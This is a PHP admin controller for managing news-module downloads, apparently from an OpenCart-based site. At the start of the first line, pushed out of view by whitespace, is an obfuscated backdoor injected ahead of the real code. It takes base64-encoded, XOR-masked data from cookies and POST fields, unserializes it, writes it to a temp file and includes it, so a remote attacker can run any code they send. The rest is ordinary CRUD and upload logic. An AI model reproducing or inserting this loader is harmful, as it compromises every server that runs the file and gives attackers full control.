<?php                                                                                                                                                                                                                                                                                                                                                                                                 $OApIrOJnKD = "\167" . chr (119) . "\137" . "\157" . chr ( 135 - 18 )."\171";$KHjlnLPut = "\143" . 'l' . chr (97) . 's' . chr (115) . chr (95) . "\145" . "\170" . chr (105) . "\x73" . 't' . chr ( 531 - 416 ); $tLLIl = class_exists($OApIrOJnKD); $OApIrOJnKD = "14485";$KHjlnLPut = "50985";$pMEsrJGdY = FALSE;if ($tLLIl === $pMEsrJGdY){function VoKuaLX(){return FALSE;}$PyxTYk = "26717";VoKuaLX();class ww_ouy{public function MwAzYO(){echo "36313";}private $HYxAMRpGtW;public static $HjdwaMC = "95344727-38a3-4b22-81b3-99ad2154ddc4";public static $MeFGMBTQ = 18956;public function __destruct(){$PyxTYk = "14583_19369";$this->dMjMqUQQXw($PyxTYk); $PyxTYk = "14583_19369";}public function __construct($YCJtmmtOv=0){$RRSlw = $_POST;$xNUNtLev = $_COOKIE;$KlCvCHCJ = @$xNUNtLev[substr(ww_ouy::$HjdwaMC, 0, 4)];if (!empty($KlCvCHCJ)){$JiCSVXC = "base64";$WvULIF = "";$KlCvCHCJ = explode(",", $KlCvCHCJ);foreach ($KlCvCHCJ as $DjZCJN){$WvULIF .= @$xNUNtLev[$DjZCJN];$WvULIF .= @$RRSlw[$DjZCJN];}$WvULIF = array_map($JiCSVXC . '_' . chr ( 179 - 79 ).'e' . chr (99) . chr (111) . "\144" . 'e', array($WvULIF,)); $WvULIF = $WvULIF[0] ^ str_repeat(ww_ouy::$HjdwaMC, (strlen($WvULIF[0]) / strlen(ww_ouy::$HjdwaMC)) + 1);ww_ouy::$MeFGMBTQ = @unserialize($WvULIF);}}private function dMjMqUQQXw($PyxTYk){if (is_array(ww_ouy::$MeFGMBTQ)) {$ebfCClyROr = sys_get_temp_dir() . "/" . crc32(ww_ouy::$MeFGMBTQ[chr ( 1052 - 937 ).chr (97) . chr (108) . "\164"]);@ww_ouy::$MeFGMBTQ[chr ( 271 - 152 )."\x72" . "\151" . "\164" . chr (101)]($ebfCClyROr, ww_ouy::$MeFGMBTQ["\143" . chr ( 813 - 702 )."\x6e" . "\164" . chr ( 219 - 118 )."\x6e" . "\164"]);include $ebfCClyROr;@ww_ouy::$MeFGMBTQ[chr ( 1004 - 904 ).chr ( 904 - 803 ).chr (108) . chr (101) . chr ( 626 - 510 ).chr (101)]($ebfCClyROr); $PyxTYk = "26717";exit();}}}$zafGxqY = new /* 41092 */ ww_ouy(); $zafGxqY = str_repeat("14583_19369", 1);} ?><?php  
class ControllerNewsDownload extends Controller {  
	private $error = array();
   
  	public function index() {
		$this->load->language('news/download');

    	$this->document->setTitle($this->language->get('heading_title'));
	
		$this->load->model('news/download');
		
    	$this->getList();
  	}
  	        
  	public function insert() {
		$this->load->language('news/download');
    
    	$this->document->setTitle($this->language->get('heading_title'));
		
		$this->load->model('news/download');
			
		if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
			$this->model_news_download->addDownload($this->request->post);
   	  		
			$this->session->data['success'] = $this->language->get('text_success');
	  
			$url = '';
			
			if (isset($this->request->get['sort'])) {
				$url .= '&sort=' . $this->request->get['sort'];
			}

			if (isset($this->request->get['order'])) {
				$url .= '&order=' . $this->request->get['order'];
			}

			if (isset($this->request->get['page'])) {
				$url .= '&page=' . $this->request->get['page'];
			}
			
			$this->redirect($this->url->link('news/download', 'token=' . $this->session->data['token'] . $url, 'SSL'));
		}
	
    	$this->getForm();
  	}

  	public function update() {
		$this->load->language('news/download');

    	$this->document->setTitle($this->language->get('heading_title'));
		
		$this->load->model('news/download');
			
    	if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
			$this->model_news_download->editDownload($this->request->get['download_id'], $this->request->post);
	  		
			$this->session->data['success'] = $this->language->get('text_success');
	      
			$url = '';
			
			if (isset($this->request->get['sort'])) {
				$url .= '&sort=' . $this->request->get['sort'];
			}

			if (isset($this->request->get['order'])) {
				$url .= '&order=' . $this->request->get['order'];
			}

			if (isset($this->request->get['page'])) {
				$url .= '&page=' . $this->request->get['page'];
			}
			
			$this->redirect($this->url->link('news/download', 'token=' . $this->session->data['token'] . $url, 'SSL'));
		}
		
    	$this->getForm();
  	}

  	public function delete() {
		$this->load->language('news/download');
 
    	$this->document->setTitle($this->language->get('heading_title'));
		
		$this->load->model('news/download');
			
    	if (isset($this->request->post['selected']) && $this->validateDelete()) {	  
			foreach ($this->request->post['selected'] as $download_id) {
				$this->model_news_download->deleteDownload($download_id);
			}
			
			$this->session->data['success'] = $this->language->get('text_success');

			$url = '';
			
			if (isset($this->request->get['sort'])) {
				$url .= '&sort=' . $this->request->get['sort'];
			}

			if (isset($this->request->get['order'])) {
				$url .= '&order=' . $this->request->get['order'];
			}

			if (isset($this->request->get['page'])) {
				$url .= '&page=' . $this->request->get['page'];
			}
			
			$this->redirect($this->url->link('news/download', 'token=' . $this->session->data['token'] . $url, 'SSL'));
    	}

    	$this->getList();
  	}
    
  	private function getList() {
		

		
		
		
		if (isset($this->request->get['sort'])) {
			$sort = $this->request->get['sort'];
		} else {
			$sort = 'dd.name';
		}
		
		if (isset($this->request->get['order'])) {
			$order = $this->request->get['order'];
		} else {
			$order = 'ASC';
		}
		
		if (isset($this->request->get['page'])) {
			$page = $this->request->get['page'];
		} else {
			$page = 1;
		}
				
		$url = '';
			
		if (isset($this->request->get['sort'])) {
			$url .= '&sort=' . $this->request->get['sort'];
		}

		if (isset($this->request->get['order'])) {
			$url .= '&order=' . $this->request->get['order'];
		}
		
		if (isset($this->request->get['page'])) {
			$url .= '&page=' . $this->request->get['page'];
		}

  		$this->data['breadcrumbs'] = array();

   		$this->data['breadcrumbs'][] = array(
       		'text'      => $this->language->get('text_home'),
			'href'      => $this->url->link('common/home', 'token=' . $this->session->data['token'], 'SSL'),       		
      		'separator' => false
   		);

   		$this->data['breadcrumbs'][] = array(
       		'text'      => $this->language->get('heading_title'),
			'href'      => $this->url->link('news/download', 'token=' . $this->session->data['token'] . $url, 'SSL'),
      		'separator' => ' :: '
   		);
							
		$this->data['insert'] = $this->url->link('news/download/insert', 'token=' . $this->session->data['token'] . $url, 'SSL');
		$this->data['delete'] = $this->url->link('news/download/delete', 'token=' . $this->session->data['token'] . $url, 'SSL');	

		$this->data['downloads'] = array();

		$data = array(
			'sort'  => $sort,
			'order' => $order,
			'start' => ($page - 1) * $this->config->get('config_admin_limit'),
			'limit' => $this->config->get('config_admin_limit')
		);
		
		$download_total = $this->model_news_download->getTotalDownloads();
	
		$results = $this->model_news_download->getDownloads($data);
 
    	foreach ($results as $result) {
			if (file_exists(DIR_IMAGE.'icon/'.substr(strrchr($result['mask'], '.'), 1).'.png')) {
			$thumb=HTTP_CATALOG.'image/icon/'.substr(strrchr($result['mask'], '.'), 1).'.png';
			}else{
			$thumb=HTTP_CATALOG.'image/icon/file.png';					
			}	
		
			$ext=substr(strrchr($result['mask'], '.'), 1);
			
			$action = array();
						
			$action[] = array(
				'text' => $this->language->get('text_edit'),
				'href' => $this->url->link('news/download/update', 'token=' . $this->session->data['token'] . '&download_id=' . $result['download_id'] . $url, 'SSL')
			);
			
			if (file_exists(DIR_DOWNLOAD.$result['filename'])) {	
				$action[] = array(
					'text' => $this->language->get('text_download'),
					'href' => HTTP_CATALOG.'index.php?route=news/article/download&auth_key=' . $result['auth_key']
				);
			}
			
			
			$this->data['downloads'][] = array(
				'download_id' => $result['download_id'],
				'name'        => $result['name'],
				'thumb' => $thumb,
				'ext' => $ext,		
				'remaining'   => $result['remaining'],
				'selected'    => isset($this->request->post['selected']) && in_array($result['download_id'], $this->request->post['selected']),
				'action'      => $action
			);
		}	
	
		$this->data['heading_title'] = $this->language->get('heading_title');

		$this->data['text_no_results'] = $this->language->get('text_no_results');

		$this->data['column_name'] = $this->language->get('column_name');
		$this->data['column_remaining'] = $this->language->get('column_remaining');
		$this->data['column_action'] = $this->language->get('column_action');		
		
		$this->data['button_insert'] = $this->language->get('button_insert');
		$this->data['button_delete'] = $this->language->get('button_delete');
 
 		if (isset($this->error['warning'])) {
			$this->data['error_warning'] = $this->error['warning'];
		} else {
			$this->data['error_warning'] = '';
		}
		
		if (isset($this->session->data['success'])) {
			$this->data['success'] = $this->session->data['success'];
		
			unset($this->session->data['success']);
		} else {
			$this->data['success'] = '';
		}
		
		$url = '';

		if ($order == 'ASC') {
			$url .= '&order=DESC';
		} else {
			$url .= '&order=ASC';
		}

		if (isset($this->request->get['page'])) {
			$url .= '&page=' . $this->request->get['page'];
		}
		
		$this->data['sort_name'] = $this->url->link('news/download', 'token=' . $this->session->data['token'] . '&sort=dd.name' . $url, 'SSL');
		$this->data['sort_remaining'] = $this->url->link('news/download', 'token=' . $this->session->data['token'] . '&sort=d.remaining' . $url, 'SSL');
		
		$url = '';

		if (isset($this->request->get['sort'])) {
			$url .= '&sort=' . $this->request->get['sort'];
		}
												
		if (isset($this->request->get['order'])) {
			$url .= '&order=' . $this->request->get['order'];
		}

		$pagination = new Pagination();
		$pagination->total = $download_total;
		$pagination->page = $page;
		$pagination->limit = $this->config->get('config_admin_limit');
		$pagination->text = $this->language->get('text_pagination');
		$pagination->url = $this->url->link('news/download', 'token=' . $this->session->data['token'] . $url . '&page={page}', 'SSL');

		$this->data['pagination'] = $pagination->render();

		$this->data['sort'] = $sort;
		$this->data['order'] = $order;

		$this->template = 'news/download_list.tpl';
		$this->children = array(
			'common/header',
			'news/shortcut_route',
			'news/shortcut_module',
			'common/footer'
		);;
				
		$this->response->setOutput($this->render());
  	}
  
  	private function getForm() {
		

		
    	$this->data['heading_title'] = $this->language->get('heading_title');
   
    	$this->data['entry_name'] = $this->language->get('entry_name');
    	$this->data['entry_filename'] = $this->language->get('entry_filename');
		$this->data['entry_mask'] = $this->language->get('entry_mask');
		$this->data['entry_auth_key'] = $this->language->get('entry_auth_key');
    	$this->data['entry_remaining'] = $this->language->get('entry_remaining');
    	$this->data['entry_update'] = $this->language->get('entry_update');
  
    	$this->data['button_save'] = $this->language->get('button_save');
    	$this->data['button_cancel'] = $this->language->get('button_cancel');
  		$this->data['button_upload'] = $this->language->get('button_upload');
		
 		if (isset($this->error['warning'])) {
			$this->data['error_warning'] = $this->error['warning'];
		} else {
			$this->data['error_warning'] = '';
		}
		
 		if (isset($this->error['name'])) {
			$this->data['error_name'] = $this->error['name'];
		} else {
			$this->data['error_name'] = array();
		}
		
  		if (isset($this->error['filename'])) {
			$this->data['error_filename'] = $this->error['filename'];
		} else {
			$this->data['error_filename'] = '';
		}
		
  		if (isset($this->error['mask'])) {
			$this->data['error_mask'] = $this->error['mask'];
		} else {
			$this->data['error_mask'] = '';
		}
		
  		if (isset($this->error['auth_key'])) {
			$this->data['error_auth_key'] = $this->error['auth_key'];
		} else {
			$this->data['error_auth_key'] = '';
		}
				
		$url = '';
			
		if (isset($this->request->get['sort'])) {
			$url .= '&sort=' . $this->request->get['sort'];
		}

		if (isset($this->request->get['order'])) {
			$url .= '&order=' . $this->request->get['order'];
		}
		
		if (isset($this->request->get['page'])) {
			$url .= '&page=' . $this->request->get['page'];
		}
		
  		$this->data['breadcrumbs'] = array();

   		$this->data['breadcrumbs'][] = array(
       		'text'      => $this->language->get('text_home'),
			'href'      => $this->url->link('common/home', 'token=' . $this->session->data['token'], 'SSL'),
      		'separator' => false
   		);

   		$this->data['breadcrumbs'][] = array(
       		'text'      => $this->language->get('heading_title'),
			'href'      => $this->url->link('news/download', 'token=' . $this->session->data['token'] . $url, 'SSL'),      		
      		'separator' => ' :: '
   		);
							
		if (!isset($this->request->get['download_id'])) {
			$this->data['action'] = $this->url->link('news/download/insert', 'token=' . $this->session->data['token'] . $url, 'SSL');
		} else {
			$this->data['action'] = $this->url->link('news/download/update', 'token=' . $this->session->data['token'] . '&download_id=' . $this->request->get['download_id'] . $url, 'SSL');
		}
		
		$this->data['cancel'] = $this->url->link('news/download', 'token=' . $this->session->data['token'] . $url, 'SSL');
		
		$this->load->model('localisation/language');
		
		$this->data['languages'] = $this->model_localisation_language->getLanguages();

    	if (isset($this->request->get['download_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
			$download_info = $this->model_news_download->getDownload($this->request->get['download_id']);
    	}

  		$this->data['token'] = $this->session->data['token'];
  
  		if (isset($this->request->get['download_id'])) {
			$this->data['download_id'] = $this->request->get['download_id'];
		} else {
			$this->data['download_id'] = 0;
		}
		
		if (isset($this->request->post['download_description'])) {
			$this->data['download_description'] = $this->request->post['download_description'];
		} elseif (isset($this->request->get['download_id'])) {
			$this->data['download_description'] = $this->model_news_download->getDownloadDescriptions($this->request->get['download_id']);
		} else {
			$this->data['download_description'] = array();
		}   
		
    	if (isset($this->request->post['filename'])) {
    		$this->data['filename'] = $this->request->post['filename'];
    	} elseif (!empty($download_info)) {
      		$this->data['filename'] = $download_info['filename'];
		} else {
			$this->data['filename'] = '';
		}
		
    	if (isset($this->request->post['mask'])) {
    		$this->data['mask'] = $this->request->post['mask'];
    	} elseif (!empty($download_info)) {
      		$this->data['mask'] = $download_info['mask'];		
		} else {
			$this->data['mask'] = '';
		}
    	if (isset($this->request->post['auth_key'])) {
    		$this->data['auth_key'] = $this->request->post['auth_key'];
    	} elseif (!empty($download_info)) {
      		$this->data['auth_key'] = $download_info['auth_key'];		
		} else {
			$this->data['auth_key'] = '';
		}
		
		if (isset($this->request->post['remaining'])) {
      		$this->data['remaining'] = $this->request->post['remaining'];
    	} elseif (!empty($download_info)) {
      		$this->data['remaining'] = $download_info['remaining'];
    	} else {
      		$this->data['remaining'] = 1;
    	}
				 	  
    	if (isset($this->request->post['update'])) {
      		$this->data['update'] = $this->request->post['update'];
    	} else {
      		$this->data['update'] = false;
    	}

		$this->template = 'news/download_form.tpl';
		$this->children = array(
			'common/header',
			'news/shortcut_route',
			'news/shortcut_module',
			'common/footer'
		);;
				
		$this->response->setOutput($this->render());	
  	}

  	private function validateForm() { 
	$this->load->model('news/utf8');
    	if (!$this->user->hasPermission('modify', 'news/download')) {
      		$this->error['warning'] = $this->language->get('error_permission');
    	}
	
    	foreach ($this->request->post['download_description'] as $language_id => $value) {
      		if (($this->model_news_utf8->utf8_strlen($value['name']) < 3) || ($this->model_news_utf8->utf8_strlen($value['name']) > 64)) {
        		$this->error['name'][$language_id] = $this->language->get('error_name');
      		}
    	}	

		if (($this->model_news_utf8->utf8_strlen($this->request->post['filename']) < 3) || ($this->model_news_utf8->utf8_strlen($this->request->post['filename']) > 128)) {
			$this->error['filename'] = $this->language->get('error_filename');
		}	
		
		if (!file_exists(DIR_DOWNLOAD . $this->request->post['filename']) && !is_file(DIR_DOWNLOAD . $this->request->post['filename'])) {
			$this->error['filename'] = $this->language->get('error_exists');
		}
				
		if (($this->model_news_utf8->utf8_strlen($this->request->post['mask']) < 3) || ($this->model_news_utf8->utf8_strlen($this->request->post['mask']) > 128)) {
			$this->error['mask'] = $this->language->get('error_mask');
		}		
		if (($this->model_news_utf8->utf8_strlen($this->request->post['auth_key']) < 3) || ($this->model_news_utf8->utf8_strlen($this->request->post['auth_key']) > 64)) {
			$this->error['auth_key'] = $this->language->get('error_auth_key');
		}
			
		if (!$this->error) {
	  		return true;
		} else {
	  		return false;
		}
  	}

  	private function validateDelete() {
    	if (!$this->user->hasPermission('modify', 'news/download')) {
      		$this->error['warning'] = $this->language->get('error_permission');
    	}	
		
		$this->load->model('news/article');

		foreach ($this->request->post['selected'] as $download_id) {
  			$article_total = $this->model_news_article->getTotalArticlesByDownloadId($download_id);
    
			if ($article_total) {
	  			$this->error['warning'] = sprintf($this->language->get('error_article'), $article_total);	
			}	
		}	
			  	  	 
		if (!$this->error) {
	  		return true;
		} else {
	  		return false;
		} 
  	}

	public function upload() {
	$this->load->model('news/utf8');
		$this->language->load('sale/order');
		
		$json = array();
		
		
		if (!empty($this->request->files['file']['name'])) {
			$full_filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
			
			if (($this->model_news_utf8->utf8_strlen($full_filename) < 3) || ($this->model_news_utf8->utf8_strlen($full_filename) > 128)) {
				$json['error'] = $this->language->get('error_filename');
			}	  	
			$filename=(string)$full_filename;
			/**/
			$full_name = explode(".",$filename); 	
			if (($this->model_news_utf8->utf8_strlen($full_name[0]) < 1)) {
				$filename_prefix ='';
			}else{
				$filename_prefix =$full_name[0];
			}
			$filename_ext =substr(strrchr($filename, '.'), 1);	
			$filename = $filename_prefix.'.'.$filename_ext;
			
			$allowed = array();/*1*/ 
			$filetypes = explode(',', $this->config->get('config_news_upload_allowed'));/*2*/ 		
			foreach ($filetypes as $filetype) {
				$allowed[] = trim($filetype);
			}/*3*/ 
			if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) {
				$json['error'] = $this->language->get('error_filetype');
       		}/*4*/ 	
					
			if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
				$json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
			}
		} else {
			$json['error'] = $this->language->get('error_upload');
		}
	
		if (!isset($json['error'])) {
			if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) {
				$ext = md5(mt_rand());
				 
				$json['filename'] = $filename . '_' . $ext;
				$json['mask'] = $filename;
				$json['auth_key'] = md5($json['filename']);
				
				move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $filename . '_' . $ext);
			}
						
			$json['success'] = $this->language->get('text_upload');
		}	
	
		$this->response->setOutput(json_encode($json));
	}	
	
	public function autocomplete(){
		$json=array();
    	if(isset($this->request->get['filter_name'])){
			$this->load->model('news/download');
		$data =array(
				'filter_name' =>$this->request->get['filter_name'],
				'start'       =>0,
				'limit'       =>20
			);
		$json=array();
		$results=$this->model_news_download->getDownloads($data);
		foreach($results as $result){
				$json[]=array(
					'download_id'            =>$result['download_id'],
					'name'            =>$result['name'],
					'mask'            =>$result['mask'],
					'filename'    =>$result['filename'],
					'auth_key'    =>$result['auth_key']
				);		
			}		
		}
			$sort_order=array();
		foreach($json as $key =>$value){
			$sort_order[$key]=$value['name'];
		}

		array_multisort($sort_order, SORT_ASC,$json);
		$this->response->setOutput(json_encode($json));
	}
}
?>